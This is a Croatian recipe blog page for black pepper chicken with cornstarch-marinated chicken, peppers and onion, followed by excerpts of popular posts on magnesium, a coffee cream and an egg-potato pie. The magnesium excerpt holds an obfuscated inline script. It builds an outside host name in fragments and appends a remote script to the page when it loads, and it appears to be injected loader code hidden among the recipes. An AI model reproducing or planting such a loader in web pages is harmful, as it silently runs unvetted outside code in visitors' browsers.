PILETINA S CRNIM PAPROM 🐔


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>Piletina s crnim paprom


Piletina s crnim paprom 



Piletina s crnim paprom klasično je jelo inspirirano kineskim restoranima, poznato po sočnoj piletini, aromatičnom umaku i laganoj pikantnosti svježe mljevenog papra.





Piletina s crnim paprom 


Piletina

  • 30 g kukuruznog škroba
  • 1 žlica sojinog umaka
  • 1 žlica suhog bijelog vina
  • 1 čajna žličica svježe mljevenog crnog papra
  • 450 g pilećih zabataka bez kože i kosti, narezanih na kocke veličine oko 2,5 cm

Umak od crnog papra

  • 60 ml pilećeg temeljca
  • 60 ml sojinog umaka
  • 2 žlice suhog bijelog vina
  • 2 žlice sojinog umaka
  • 1 žlica vode
  • 1 žlica kukuruznog škroba
  • 1 čajna žličica svježe mljevenog crnog papra

Za wok

  • 3 žlice biljnog ulja, podijeljeno
  • 1 žlica sitno nasjeckanog češnjaka
  • 1 čajna žličica sitno nasjeckanog svježeg đumbira
  • 150 g zelene paprike, narezane na komade veličine oko 1,5 cm
  • 150 g bijelog luka, narezanog na komade veličine oko 1,5 cm

Posluživanje

  • 300 g kuhane bijele riže




Priprema:

  1. U velikoj zdjeli pjenjačom pomiješajte kukuruzni škrob, sojin umak, vino i crni papar. Dodajte komade piletine i dobro promiješajte kako bi se piletina ravnomjerno obložila. Ostavite da stoji na sobnoj temperaturi 15 minuta.
  2. Za to vrijeme u srednjoj zdjeli pomiješajte pileći temeljac, sojin umak, vino, sojin umak, vodu, kukuruzni škrob i crni papar.
  3. Zagrijte 2 žlice biljnog ulja u velikoj tavi (promjera oko 30 cm) na srednje jakoj vatri. Dodajte polovicu piletine i pržite uz miješanje oko 5 minuta. Izvadite na tanjur i ponovite postupak s preostalom piletinom.
  4. U istu tavu dodajte preostalu 1 žlicu ulja. Umiješajte češnjak i đumbir te kratko pržite dok ne zamirišu, oko 30 sekundi. Dodajte zelenu papriku i luk te pržite 2–3 minute, dok povrće ne omekša, ali ostane lagano hrskavo.
  5. Ulijte umak od crnog papra i kuhajte uz miješanje dok se umak ne zgusne, 2–3 minute. Vratite piletinu u tavu i dobro promiješajte kako bi se svi sastojci obložili umakom.
  6. Poslužite odmah uz kuhanu bijelu rižu.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

PIKANTNA PITA OD JAJA I KRUMPIRA 🥔

Slika
https://punkufer.dnevnik.hr/clanak/hrana-i-pice/recept-za-rafanatu---958260.html Pikantna pita od jaja i krumpira  <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Ime jela dolazi od talijanske riječi  rafano , što znači hren – ključni sastojak ove fritate. Smatra se da su ga u   Basilicatu donijeli Normani još u 11. stoljeću, a s vremenom je postao neizostavan dio lokalne kuhinje. Zbog svoje dostupnosti, nutritivne vrijednosti i ljekovitih svojstava hren je bio osobito cijenjen među seljacima i pastirima, koji su ga nazivali "tartufom siromašnih" .  Pikantna pita od jaja i krumpira  Sastojci : 300 g krumpira, oguljenog, kuhanog i zgnječenog 8 jaja 80 g sira pecorino, naribanog 40 g hrena, naribanog (svježeg) sol, papar, maslinovo ulje Priprema: Zagrijte grill u pećnici na srednje jaku temperaturu. Vilicom rastresite...
Pročitajte više